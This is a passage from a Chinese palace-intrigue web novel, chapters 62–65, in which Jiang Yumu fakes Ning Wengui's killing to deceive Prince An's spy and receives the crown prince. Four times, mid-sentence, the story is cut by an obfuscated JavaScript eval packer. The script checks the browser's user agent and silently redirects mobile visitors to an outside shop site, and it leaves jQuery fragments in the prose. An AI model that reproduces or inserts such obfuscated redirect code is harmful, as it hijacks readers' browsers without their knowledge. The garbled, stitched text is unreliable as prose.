“来人。”穆归礼唤来老管家,吩咐道,“入宫去请太医来,让他们带上最好的伤药。有敢怠慢者,格杀勿论!” 时异受宠若惊,双目满溢感激之情,诚惶诚恐道:“多谢殿下。” 穆归礼捏一捏他的耳朵,柔声道:“本王还有要事,就不留下陪你了。等太医赶来,你尽管使唤他们便是。” 时异虽有些失望,却也不敢挽留,只能目送穆归礼快步离去,直到彻底望不见他的背影,才发出一声不舍的叹息。 穆归礼独自一人出了王府,风风火火赶往国师府邸,脚步越走越快,最后几乎是小跑着去拍府门。 护院见是安王到访,忙不迭去向费红英禀报。 费红英正在书房捧着一册黄历勾勾画画,头也不抬道:“让他进来吧。” 护院忐忑道:“大人,那可是安王殿下啊……您不亲自出去迎接吗?万一他生气了可怎么好?” 费红英扫他一眼,无甚所谓道:“我倒要看看,他穆归礼敢不敢冲我撒气。” 护院听罢先是一阵心惊,继而慢慢踏实了下来:国师大人既然敢摆这个谱,肯定有他的道理,说不定他早就算到了安王殿下会来找他,说不定还有求于他呢! 算没算到,费红英其实不敢断言。但她知道,既然穆归礼在这个时候上门拜访,就说明江御暮的计划起效了。她与费红英对立于天平两端,一方在穆归礼心中沉入泥沼,另一方势必被他捧入青云。 加之穆归礼冷落了费红英这些日子,有意无意的疏远之举再明显不过。此时他骤然前来修复关系,费红英若不把姿态摆高点,岂不叫他轻看了去? 江御暮说的没错,这个人呐,就是贱得慌。 穆归礼不见费红英亲自出面迎接,不但没有生气,反而愈发心慌起来,生怕她对自己敬而远之,不愿全力相助。 他被护院迎入书房以后,费红英也并未起身相迎,甚至没有一丝依例行礼之意,只稳稳坐在椅子上,还靠着椅背,颇有悠闲惬意之态道:“许久不见安王殿下,微臣眼拙,都快认不出您了。” 穆归礼挤出一个难看的笑容,自己拉来椅子坐在她对面,几度欲言又止,不知该从何开口。 费红英端起茶碗,不紧不慢地轻吹几口,继而润了润喉,主动点破他的心思道:“微臣若没有算错,殿下是为江小姐之事来的吧?” “正是!”穆归礼连忙接茬,顿了顿,话中又带上几分埋怨,“国师大人既知江御暮生有异心,对本王不利,为何不——” 他本想说,“为何不早提醒本王?” 可是仔细想想,费红英确实早就提醒过他,说江御暮立场摇摆,绝不可信。 于是穆归礼半截改口:“为何不再说清楚些?也好让本王早做应对啊。” 费红英轻哼一声,同时重重放下茶碗,似乎因他这话而有些不悦。 穆归礼心里有些发毛,忽而猜测起来:难道他是有意为之?之所以语焉不详,就是为了试一试本王会如何判断,如何抉择? 若真是如此,想必他并没有做出令费红英满意的选择,恰恰相反,他的表现一定使之无比失望。 穆归礼自认能屈能伸,连忙赔笑道:“是本王失言了,国师勿怪。” 紧接着话锋一转:“眼下情况着实不妙,咱们该一致对外才是。” 费红英在心里冷笑一声:真有他的,这就把我和他绑在一起,便成“咱们”了? “情况如何不妙?”她语速颇慢,丝毫听不出急切。 穆归礼却恨不得多长几张嘴,匆匆道:“江御暮手上握有一封书信,对本王极为不利,甚至有可能斩断本王的争储之路!” “不可能。”费红英笃定道,“微臣的卦象绝不会出错,既然算出您会继承大统,就不会被一封轻飘飘的书信改变结果。” 穆归礼听了这话,心中稍作安慰,可眉头依然紧紧锁着,低声道:“国师有没有想过,也许正是因为本王将来毁掉了那封书信,才没有被它毁掉前程呢?反过来说,本王若因早知未来之事,对这封信放任不管,会否反受其害?想来,这便应了您先前所说‘窥得天机亦会受其反噬’的道理,不是吗?” 这话有些绕,费红英反应了片刻才道:“倒也有理。” 穆归礼见自己成功说动了她,连忙乘胜追击:“那就请国师一展神通,帮本王算一算那封信被人藏到了何处吧?本王也好尽快派人取来,以除后患。” 语毕不等对方开口,又补充道:“事成以后,本王定会亲自送来纹银千两,以示谢意。” 纹银千两?说实话,费红英不太瞧得上。粗略一算,给涵州添十乘战车都不够,零头还得她们自己补。 不过蚊子再小也是肉,有总比没有强。 “也罢,微臣便试上一试。”费红英从袖中取出三枚铜板,问道,“殿下可知写信之人的生辰八字?” 穆归礼张了张口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666522|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好像有点印象,但正经问起来时,他却一个字也想不起来。 费红英在心里替纪青元暗骂他几句,接着摆出一副无奈的样子:“那便请殿下先弄清楚这个问题,再来寻微臣吧。” 穆归礼懒得再跑一趟,便让费红英的护院去安王府带来了一个丫鬟。 那丫鬟以前伺候过安王妃,穆归礼独自去书房外见她,悄声问清了纪青元的生辰八字,记熟后叮嘱她:“本王今日所问之事,切不可外传。” 丫鬟知道他的脾性,生恐遭他灭口,连忙赌咒发誓,保证将此事忘得一干二净。 穆归礼这才满意,回到书房把生辰八字转述给费红英。 铜钱叮当作响,费红英抛接数次,最后将它们拍在桌上,深吸一口气,突然捂着胸口剧烈咳嗽起来。 穆归礼见状,一颗心已然凉了半截,却还抱着最后一丝希望问道:“如何?大人可算出结果了吗?” 费红英许久才止住咳嗽声,喘息着摇了摇头,吓唬他道:“此物怨气颇深,似乎有意躲开微臣的窥探。敢问殿下,那写信之人如今是否尚在人世?” 这一语落在穆归礼耳中,便如一缕阴风,吹得他后颈发凉。 “不……她,她……”穆归礼从前对鬼神之说将信将疑,但是现在,似乎由不得他不信了。 费红英的手颤抖着摸上三枚铜板,好像被火炭烫着似的,一触便弹开了去。 “殿下请恕微臣直言。”费红英继续吓唬他,“如此看来,那写信之人不但死不瞑目,而且对殿下恨意极深呐。以微臣的道行,也难以觅得此信的下落。” 穆归礼听罢,已经顾不上担心这封破信了,更怕纪青元阴魂不散,化作厉鬼前来找他索命。 慌乱之下,他只能抓住面前这根救命稻草:“您是国师,一定、一定有办法镇住她的,对不对?” 费红英煞有介事道:“殿下有所不知,枉死之人的怨气不能镇,得化解。” 穆归礼见事有转机,忙问:“如何化解?” 费红英道:“这便需要对症下药了。殿下须得先告诉微臣,那写信之人究竟是谁,与您有何恩怨。” 穆归礼纵然害怕,却没有彻底乱了阵脚,还存着一丝防备之心,不愿把底牌交给费红英,于是半遮半掩道:“她是……本王已故的王妃。若说心结,大抵是婚后久久不受本王的宠爱,因而生出了怨怼吧……” 费红英假作恍然大悟状:“这便难怪了。微臣听陛下说,殿下您最近打算续弦,正在挑选合适的官家女子。也许那位去世的王妃正是对此不满,生出了醋意,怨气才会与日俱增。” 穆归礼表面点头称是,心中却道:纪青元对本王只有恨,没有爱,更不会生出什么醋意。若说对本王续弦之事不满……难不成,她是泉下有知,不想看到有人步她的后尘吗? 想通这一点,穆归礼便做了决定:“本王即刻便去回禀父皇,续弦之事暂且作罢。” 费红英微微一笑。 如此,也算暗中挽救了一个即将踏入火坑的无辜女子吧。 63. 护卫撞凶案丧胆魂,小姐折佩剑踏…… 穆归礼为化解纪青元的怨气,一回府便张罗着给她立牌位、摆贡品。虽不知有没有用,多少也能图个心里踏实。 接着又嘱咐时异,让他去探宁问归的底细,查清此人与纪青元之死有何干系。 时异纵然愁得一个头两个大,也无法拒绝自家殿下的命令,只得尽力而为。 为免江御暮怀疑,时异回府前特意拐去了一家最近的医馆,买了些金疮药带回去。 江御暮给的药钱太多,时异为表自己并无贪财之意,便打算将多出来的钱还给她。 谁知刚走近她的房间,隔着门便嗅到了其内浓烈的血腥气。 出什么事了? 难道是宁问归去而复返,把江御暮也打伤了? 可她若只是受了点刀剑之伤,那血腥气怎会浓到呛鼻的地步? “小姐,卑职回来了!”时异短暂犹豫过后,决定拍门询问情况。 可他拍了又拍,还将此语重复几遍,屋内却全无动静。 渐渐的,血腥味也不那么明显了。时异不由恍惚一瞬,难道方才的气味都是自己的错觉吗? 不,他很快又清醒过来,不是错觉,只是自己已经闻惯,几乎觉察不出来了。 多年护卫的经验告诉他,若要散发如此气味,屋内至少有一具失血而亡的尸体。 此时此刻,时异只有一个念头—— 江御暮死了,凶手就是宁问归。 意识到这一点后,时异顿觉双脚有千斤之重,前行不得,后退不能。 倘若他推开门看到江御暮的尸体,该作何应对? 立刻去向江连镜禀报吗? 不,一旦江家其余人等得知此事,江御暮所住的偏院就会被立即封锁,官府紧接着便会派人前来查案。如此一来,时异就再无机会帮安王殿下寻找王妃的书信了。 更有甚者,万一这封信被官府的人翻了出来,直接呈给太子,他们的麻烦就大了。 转念想想,如果宁问归已经找到了书信,并把它带走了呢? 又或者……宁问归确实已经杀了人,取了信,但此刻尚未离开,就静静地守在屋内,打算等时异进门查看情况时,顺手把他也杀了灭口? 可能性太多太多,时异一想起宁问归那双满是杀气的眼睛,就生出了怯阵之意。 他不敢发出任何动静,无声地咽了口唾沫,保持着面朝房门的方向,一步一步往后退去,每一步都走得缓慢而艰难。 约莫拉开几丈距离,时异静悄悄蹲下身,从一旁的花圃里捡起一块石头,瞄准江御暮的屋门砸去。 如果宁问归此刻就在屋中,一定会作出反应。 砰! 木门被石块砸出轻浅的坑印,一块门板随之被砸开,嘎吱一响,落在时异耳中便如阴鬼的哭嚎。 时异双目警惕地等着,随时准备翻墙奔逃。 可是等待半晌,屋内仍然寂静一片,似乎并无活人藏在其中。 时异深呼吸几次,强迫自己定了定神。 只要还有一丝完成任务的希望,他就愿意为殿下舍身冒险。 “小姐?” 时异的声音微微颤抖,试探着向前走去。 透过那扇半开的门板,每走一步,视野便清晰一分。 时异起初只看见一个倒在地上的身影,浅色衣衫染上了大片鲜血。虽然视线受阻,看不见那人的头肩,但也足以让时异察觉异样——此人的双足偏大,全然不似女子。 再往前走,尸体的肩膀、脖颈、下巴渐次露出,时异在门口停住脚步,探头张望,霎时惊得双目圆瞪。 只见宁问归倒在一片血泊中,胸口插着一柄短剑。 时异认得它,那是江御暮的剑。本该是一对两柄,比武招亲时,她曾用它们击败过李节。时异迅速扫视屋内,却不见另一柄剑的踪影。 “你在看什么?” 耳畔突然响起江御暮的声音,时异只觉浑身汗毛根根直竖,僵在原地不敢回头。 她是何时出现在自己身后的?时异竟丝毫不曾察觉! 不必多问,时异已经意识到自己先前的判断有误——宁问归去而复返不假,可他没能杀死江御暮。恰恰相反,他竟把自己的性命赔在了她手里! 时异强装镇定,正欲答话,却忽然感到颈侧一凉。低头看去,一柄沾血的短剑已然抵住他的喉结。 “我在问你呢。”江御暮再次开口,语气听不出任何波澜,“你看到什么了?” 丧钟仿佛随时就要敲响,惶遽之下,时异下意识便打算睁眼说瞎话。 “小、小姐,卑职——” 他本想说,卑职什么也没看到。但是这句话太苍白无力了,即便他如此说,江御暮也不会安心。 那么,要如何改口?说“卑职一定会为您保守秘密”? 不妥不妥,还是那个问题——江御暮凭什么相信他会守口如瓶?若论保守秘密,还有什么人比死人更合适呢? 思考的时间所剩无几,江御暮的短剑已然开始发力,时异索性把心一横,决定孤注一掷。 “卑职方才听见您屋中似有异响,未来得及向您请示便进屋查看,果遇歹人,本欲生擒之,不料错手伤及他性命。卑职有罪,请小姐责罚!” 时异自认为这番话已经表足了忠心。如果江御暮愿意高抬贵手,与他一起把尸体处理了便罢。 如果江御暮心狠些,让时异顶了她的杀人之罪也无妨。时异相信,安王殿下一定会想办法捞他出来。 如他所料,江御暮听完这番话,果然收起了短剑。 但他没有想到,江御暮竟不再掩饰,直接承认了自己的所作所为。 “知道我为什么要杀他吗?”她问。 时异其实已经猜了个大概,却不敢实话实说,只道:“此人擅闯小姐的闺房,定是心怀不轨,死有余辜!” 江御暮笑了一声,用极温柔的语气对他说:“转过来,看着我回话。” 时异只觉有一股凉气从衣领钻了进来,冷飕飕吹得他手脚发麻,浑身僵硬。 他梗着脖子转过身来,双目一扫,就被江御暮满脸的喷溅血迹吓得后退一步,恰好踩上门槛。紧接着双腿一软,就向后摔在了地上。忍着痛撑起上半身,又发现自己把手掌按进了血泊里。受了这一连串惊吓,时异张着口,竟连叫都叫不出声。 江御暮提着剑迈过门槛,走到时异面前蹲下身,柔声道:“他自以为窥得我的秘密,就能以此要挟我。结果呢?还不是死在了我手里。你说,他傻不傻啊?” 时异顾不上回答她的问题,嘴巴一张一合,看口型大抵是想说:“小姐饶命。” 江御暮莞尔一笑,用手指蘸着地上的鲜血,在时异脸上一笔一划写着字,同时说道:“别怕,你又不曾与我作对,我怎么会伤害你呢?” 时异细细分辨,发觉她在他脸上写的是个“忠”字。 许是想告诫他,务必对她忠心耿耿吧?他想。 然而这个字在时异心中却有着不同的含 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678200|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义,仿若晨钟暮鼓,提醒他不要忘了自己的使命。 为了安王殿下,他不能退缩。 “小姐宽仁。”时异壮起胆子对上她的双眼,“您若不弃,就让卑职替您把这屋子收拾干净吧。至于这贼人,是抛是埋都听您吩咐!” 江御暮满意一笑,用自己的手帕帮他擦净了脸,命令道:“你去守好院门就是了,其他什么也不必操心。” 时异连忙应了声“是”,手忙脚乱地爬起来,逃也似离开了。 不必急于一时,他想。 只要获得了江御暮的信任,他以后还有很多机会为安王殿下分忧。 江御暮紧紧盯着时异的背影,确认他去到院外,并关好了院门,这才起身关上自己的屋门,继而轻手轻脚地走到宁问归身边,恶作剧般挠了挠他的脖颈。 宁问归不曾设防,噗地笑出了声,见江御暮并无停手之意,他连忙抓住她的手,苦笑道:“痒……” 因着怕人听见,他把声音压得很低,这句抱怨自然也没了气势。 江御暮不与他多闹,只道:“把剑还我。” 宁问归“哦”了一声,抽出插在自己胸口的半截断剑,“伤口”处并无一滴鲜血流出,只有细密的砂砾从外衣的破口流淌下来,混入满地鸡血。 宁问归取出胸口的砂袋,没话找话道:“这剑都断了,你还要啊?” 江御暮摇头道:“总不能乱丢吧?免得让穆归礼的狗察觉端倪。” 宁问归揉了揉因长时间不活动而发酸的肌肉,笑问:“小殿下,你打算怎么处理我的尸体呀?” 江御暮一边用布包裹断剑,一边揶揄道:“你都诈尸了,自己换身衣服,翻墙离开不就行了?回涵州以后,记得给我母亲和妹妹她们带个好。” 宁问归静默片刻,情绪忽而低沉不少,盘腿坐在血泊里说道:“我才刚来几天啊,你就赶我走?早知道,就不答应跟你演这出凶案了。” 江御暮动作一顿,用剑柄敲了敲他的膝盖,用不容置疑的语气说道:“你若不‘死’,穆归礼的鹰犬必定对你紧追不放,万一他们真查到点什么,你我如何向涵州交代?” 宁问归自知无法反驳,唯有乖乖离京才不会给她、给长公主惹来麻烦。 不过…… “我还有最后一个心愿,望祈小殿下成全。” “说。” “我的马还在客栈拴着呢,能否让江连镜帮个忙,把它送到京郊的驿馆?” “行,我晚些跟他——” 话才说到一半,他们就听到了江连镜的声音。 “江御暮!你怎么连我也拒之门外啊!” 此语与他强行推开院门的声音一道传来,后面还跟着时异的极力劝阻。 “少爷,您不能进去!小姐会生气的!” 江御暮与宁问归对视一眼,都有些诧异:怎么回事?这场戏没安排江连镜出场啊,他来做什么? 听声音,江连镜已经走上了石阶,马上就要推开房门。 江御暮连忙厉声喊道:“站住!” 江连镜脚步一顿,已然闻到了从门窗缝隙飘出的血腥气。 不待他发问,江御暮的声音再度传来:“你有何事,就在门外说!时异,滚回院门守着去!再敢放人进来,我活扒了你的皮!” 时异连连告罪,继而心惊胆战地跑回去守门。江连镜从未见过她发这样大的火,也不敢为自己分辩,只言简意赅道—— “江御暮,太子来找你了。” 64. 穆归衡循礼探岳丈,老内监笑语送…… 穆归衡怎么会来? 江御暮毫无头绪,隔着门问江连镜:“太子现在何处?” “在前院正厅等候。” 江御暮这便稍稍放心了,至少穆归衡不在院门之外,还不算太麻烦。 “知道了,我尽快过去。”她说。 江连镜却不能放心,向前靠近几步,扒住门板对着门缝低声道:“你这出什么事了?为何血腥气这样重?” 话音未落,江御暮猛地拉开房门,江连镜一时失去重心,险些摔进她怀里,幸而及时抓住门框,才稳住了身体。 他定睛一看,只见江御暮满脸血污半干未干,目光顺着她脚下的两列湿红鞋印扫去,“重伤失血”的宁问归笑得稍显尴尬,挥挥手算是跟江连镜打了招呼。 “你、你们……”江连镜瞠目结舌,一时不知该说些什么好。 “一会让宁问归跟你解释。”江御暮把他拉进屋,关上门,“我去见太子,你在这看着点,千万别让时异进来,顺便帮我把房间收拾干净。” 江连镜憋着满心疑问应了声“哦”,等江御暮洗净了脸,去另一间厢房换衣服之后,他才向宁问归问起:“到底怎么回事啊?” 宁问归言简意赅道:“我死了,是你长姐杀的,你误打误撞目睹了我的尸体。为了维护江家的颜面,你决定帮你长姐掩盖这一切。” 趁江连镜目瞪口呆,还在思索内在逻辑,顾不上说话之际,宁问归又笑着补充道:“对了,我的马还在客栈,烦请江兄处理完我的尸体以后,抽空把它送到京郊驿馆。多谢。” …… 江府,前院正厅。 穆归衡已经在这里等了许久,恰逢仆役前来添茶,他便与其闲聊起来。 第一个问题,穆归衡好奇已久:“你家小姐没有丫鬟么?平日也无人近身伺候?” 仆役没料到他会跟自己搭话,表演害怕的神情迟来一步,稍显刻意地缩了缩肩膀,答道:“殿下是问大小姐吧?大小姐不喜由旁人伺候,因而自小就不用丫鬟,只是近日新添了个护卫。二小姐倒是……” “护卫?”穆归衡有些意外,没让对方把话说完,“你家大小姐身手那样好,竟还用得着护卫?” 仆役挠了挠脑门,思索着答道:“嗯……嗐,有总比没有强。不就多一双筷子的事,江家又不是养不起。” 穆归衡还是觉得有些奇怪,又说不上怪在哪里,想起仆役方才说那护卫是“近日新添的”,便接着问道:“此人来江府多久了?” 仆役很快摆出一脸茫然的神情:“殿下恕罪,草民平日只在前院伺候,对内院里头的事所知不多。” 穆归衡没有起疑,摆摆手示意自己不会怪罪他,正准备再问些什么,门外就传来了江御暮的声音。 “太子殿下,久等了。” 正厅的门一直开着,穆归衡一抬眼便看到了一抹浅青色的身影。 她今日打扮得比以往更细致些,向他走来时,裙摆仿若随风漾开的碧波,时而泛着明净的光。 仆役很识趣地悄悄离开,还帮他们关上了门,转而去向江淮照回报情况。 “怎么又唤我殿下?”穆归衡起身向江御暮走去两步,不知是不是嫌她走得太慢,迟迟走不到自己身旁。 江御暮盈盈欲笑:“方才不是当着外人嘛……他既走了,我便不这样唤你了。” 穆归衡听了此话,心头忽而一暖。 江御暮自家的仆役是她口中的外人,他这个尚未成婚的夫婿却已经被她视作了自己人么? 他心里是美了,江御暮却还悬着心呢,佯装随口问道:“对了,你怎么突然来江府了?” 穆归衡这才顾得上说正事,取出银两放在她手中,解释道:“我是来替陶瑛姐退还定金的。太子妃的婚服由宫中操办,她纵然有心,也没机会出力,只能把钱退给你了。” 江御暮失笑:“这么点小事,你随便派个人来送就是了,何必亲自跑一趟呢?怪远的。” 更何况,还吓了她这一大跳。 穆归衡并未察觉她这些心思,坦言道:“因为想你了。” 江御暮微微一怔,不知他何时转了性,从前那样羞赧回避,如今竟也开始直来直去了。 说实话,她还真不太习惯。 穆归衡显然也不太擅长说这种话,刚说完就恨不得找个地缝往里钻,为了掩饰忸怩之态,连忙转移话题问道:“对了,久闻令尊抱病,不知他近日可有好转?” 江御暮没有回答,只问:“你要去看看他吗?” 穆归衡想了想,直言道:“岳丈抱病,我理应前去探望。” 江御暮没忍住笑意,掩唇道:“还没成婚呢,你就叫上‘岳丈’了?” 穆归衡被她打趣得耳尖一红,别开目光捏了捏她的手,意在请她口下留情。 江御暮顺势牵住他的手,一边往门外移步一边说道:“走吧,我带你去见他。” 行至半路,江御暮恰好碰上方才那名仆役,便拦住他问道:“你可知我爹在哪?” 那仆役偷瞄穆归衡一眼,凑近两步,本想对江御暮悄声私语。江御暮却给他使了个眼色:“大大方方说就是了,有什么见不得人的?我爹又不是偷鸡摸狗去了。” 仆役似有所悟,便用江穆二人都能听清的声量答道:“回小姐,老爷刚喝完药,现已睡下了。” 江御暮“哦”了一声,挥挥手打发他下去,继而向穆归衡投去一瞥。 坊间早有传言,说江淮照是在装病。至于装病的原因,众人各有各的说法。 其中最主流的一种,说他是在为辞官归乡做筹谋,毕竟年纪大了,不想在朝堂的漩涡中久留也是人之常情。早早辞官,至少能得个善终。 今日穆归衡并未见到江淮照的面,也不能断言他是真病还是装病。 不过真也好,假也罢,穆归衡都没必要坚持去看他了。 道理也很简单——江淮照若是真病,喝完药正在休息,穆归衡自然不好前去打扰;江淮照若是装病,那仆役便是他的传声筒,所谓“睡下了”便是他刻意找的借口,用来将穆归衡拒之门外。既然如此,又何必戳穿呢? “看来今日不巧。”穆归衡语气平缓,听不出情绪,“我还是改日再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13690085|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来拜访吧。” 江御暮正打算送他出门,方才那仆役却又跑了回来,对二人说道:“禀殿下,小姐,宫里派人来传旨了。” 又传旨?传的什么旨? 江穆二人对视一眼,一起快步赶往前院正厅。 来者共三人,领头的是皇帝身边的老内监,左右两人各抱一个木箱,看着都沉甸甸的。 那老内监见到太子在此,似乎并不惊讶,行了礼便满脸堆笑道:“老奴方才去您府上传旨,护卫们说您在江尚书府上。这不,老奴马不停蹄就赶来了。” 穆归衡颔首道:“不知父皇有何旨意?” 老内监笑容不减:“其实呀,就是一句口谕。说是您的婚期定下来了,就在下个月初八。” “这么早?”穆归衡惊讶道,“从今日算起,就剩十余日了。大婚事务繁杂,来得及准备齐全吗?” 老内监打包票道:“殿下放心,您的婚事呀,陛下一早就开始准备了,不差这一日两日的。更何况,这个吉日可是国师大人亲自推算的,定然错不了!” 说着,老内监便指挥两名小内监:“去,把太子妃的婚服和首饰都归置好。” 小内监应了声是,询问江御暮后,把两个木箱整齐摆放在正厅的方桌上。 老内监的笑容仿佛一辈子刻在了脸上,又对穆归衡说道:“殿下,您的婚服也已送去府上,由小石护卫代您收下了。” 不知为何,穆归衡面色有些凝重,冷言冷语将三名内监打发走了。 “怎么突然不高兴了?”江御暮敏锐察觉到他的变化,如是问道。 穆归衡牵住她的手,把她往自己身边带了带,惆怅道:“定是我父皇急着让我成婚,飞鸿影为迎合他的心思,才择定了这样早的婚期。委屈你了。” 江御暮并不觉得委屈,毕竟这个日子就是她和费红英一起议定的。他们的婚期越早,就越能与涵州打好配合。 但是在穆归衡面前,江御暮总要演一演善解人意:“没关系啊,我原也不大看重这些。” “那你看重什么?”穆归衡洗耳恭听,“告诉我,我好早些准备。” 江御暮对上他的双眸,温言莞尔道:“当然是看重你啊……” 当然是看重你——这颗最重要的棋子啊。 穆归衡不知被这话勾起了什么心事,忽然低声道:“我得去见一见飞鸿影。” 江御暮不知根由,玩笑道:“你不会是打算逼她改口,换个晚些的吉日吧?” 穆归衡却没有玩笑的心思,搪塞道:“不,倒不是什么重要的事。” 话虽如此,他匆匆离去的脚步却显得这件事愈发重要了起来。 江御暮没有头绪,打算夜里去找费红英问个清楚。于是一边盘算,一边走回了自己的小院。 时异仍然守在院门外,宁问归已经顺利脱身了,屋内只剩下江连镜一人,还在收拾最后一点烂摊子。 江御暮拍拍他的肩道:“行了,你回去吧,剩下的我自己处理。” “遵命。”江连镜转过身来,用试探的目光对上她的双眼,“小殿下。” 65. 江连镜探问占上风,穆归衡拂袖留…… 听到这个称呼,江御暮的第一反应便是——宁问归说漏嘴了? 毕竟近日的江府里,唯有他一人习惯称她为“小殿下”。 江御暮直视着江连镜的双眼,一句话也没有说,只从他手中接过尚未收拾完的书册,不疾不徐地往书架上放。 江连镜的求知欲越积越重,好容易找到一个宣泄的出口,却仿佛被她用一团棉花堵住了,闷得他透不过气。 “你不打算说点什么吗?”江连镜迈步一跨,将身拦在她与书架之间,“承认也好,否认也罢,亦或编出几个蹩脚的谎言来搪塞我,也好过现在这样一个字都不说吧?” 江御暮后退半步,与他拉开些许距离,面无表情道:“你希望我承认,还是否认?” 江连镜的嘴唇动了动,再度向前拉进二人的距离:“我希望你说实话。” 江御暮提出条件:“想听我说实话,你总得先拿实话来换吧?我就一个问题——宁问归都跟你说什么了?” 江连镜几乎没有思索,脱口便答:“他说你杀了他,尸体被我……” “你知道我想听的不是这些。”江御暮打断他道。 江连镜沉默了。 他当然知道。之所以先说起这些,只不过是为了拖延时间,使自己尽可能多思考思考。 思考自己要不要说实话。 如果他撒谎说:“宁问归把一切都告诉我了。”也许,他能从江御暮口中诈出更多真相。 可是一旦江御暮看穿他的谎言,以实话换实话的交易便无法达成,她可以理直气壮地拒绝回答他的任何问题。 与其这样,还不如对她据实以告。至于她愿意给出什么样的答案,不论是真是假,是详是略,江连镜都认了。 还是那个道理——就算她撒谎骗他,也总比什么都不说强吧? 犹豫片刻后,江连镜将宁问归不经意间提到“小殿下”其人,而后一句句给这个疏漏打补丁,反而使他生疑之事告诉了江御暮。 江御暮听罢,垂眸叹了口气,自言自语般嗔了句:“他这张嘴呀……” 接着又微微抬头与江连镜对视,眼神中不无赞许之意:“你还真是有长进了。” 这一句夸赞并未起到任何正面效果,江连镜仍然紧紧拧着眉头。江御暮用两根手指按了按他的眉心,轻声道:“好吧,现在轮到你提问了,我会说实话。” 听到这里,江连镜迫不及待便要开口。 江御暮的手指却突然跃过他的鼻尖,向下按住江连镜的唇使他噤声,继而补充了一条规则。 “我方才只问了你一个问题,所以,你现在也只能问一个问题。” 江连镜的喉结滚了滚,仿佛把刚刚赶到嘴边的问题咽了回去。 ——宁问归口中的“小殿下”就是你,对吗? 他原本想这样问她。 在江连镜看来,这个问题是他其余所有疑问的前奏,务必最先弄清楚它,然后再一步步往下追问。 奈何江御暮只愿回答他一个问题,这样一来,他反而不知该怎么发问了。 就算她承认了自己就是“小殿下”又如何?他依然对这个称呼背后的秘密一无所知。纵有些许猜测,也没有途径能够证实或者证伪。 时间一点一点流逝着,江御暮并未出言催促,自顾自收拾房间去了,留江连镜一人倚着书架埋头苦思。 半晌,江御暮理好最后一个抽屉,啪的一声将它关上。江连镜如梦初醒,终于扭头看向她道:“我想好了。” 江御暮没有移步,隔着大半间屋子的距离回望他道:“问吧。” 江连镜却摇了摇头:“现在不问,先欠着,以后再问。” 江御暮不解地歪了歪头:“欠着?” “嗯。”江连镜三步并作两步走到她近前,“有些事与其一知半解,还不如全然不知。我好不容易才得来一个让你说实话的机会,怎么能随便浪费了它呢?还是再等等吧,说不定以后我会遇上更值得问的问题呢?” 江御暮忽然觉得,她好像给自己挖了个坑。 “你小子……”她第二次说出这句话,“还真是有长进了。” 比之先前,这次她的语气明显带着讽刺意味。江连镜却觉得,这次才算得上她发自真心的夸奖。 “您谬赞了。”江连镜故意改换称呼,好像已经认定了某种事实,一字一顿道,“小,殿,下。” 江连镜难得占一回上风,这副嘚瑟样子让江御暮看着很不顺眼。 “你就那么笃定?”她抱着臂,摆出一副看好戏的神情,“说不定等你真正见到小殿下以后,会发现她与你的猜测毫不相干呢?” 江连镜不受她的误导,笑道:“你倒说说,除了我猜的那人,她还能是谁?” 江御暮正欲开口,江连镜却现学现卖,模仿她方才的动作使她噤声,补充道:“先说好,你可别搬出红英姐来糊弄我啊。” 阿嚏—— 几乎与此同时,远在国师府邸的费红英打了个喷嚏。 不知是谁在念叨我,她想。 “启禀大人!”一名仆役忽然敲响她的房门,“太子殿下驾到,现下正在小花园内,您可要去迎一迎?” 穆归衡?他来做什么? 费红英有些摸不着头脑,脚步比思绪更快一步,已经起身出去迎他了。 行至小花园内,费红英见穆归衡已在石桌边落了座,便命仆役们全部退下,独自上前行礼。 “你也坐吧。”穆归衡没有看她,直接说道。 费红英依礼道谢,坐在了他正对面的石凳上,直入正题道:“不知太子殿下此来敝府所为何事?” 穆归衡环顾四周,见花园内没有旁人,便开门见山道:“飞鸿影,你给本宫下的蛊,可有法子能祛除命门穴上的蛊纹?” 他若不提这一茬,费红英都快忘记她们撒的这个谎了。 可那所谓“蛊纹”是刺青,又不是丹青,哪是想祛除就能祛除的? “除解蛊外,再无他法。”费红英煞有介事,想了个逻辑还算通顺的答案。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 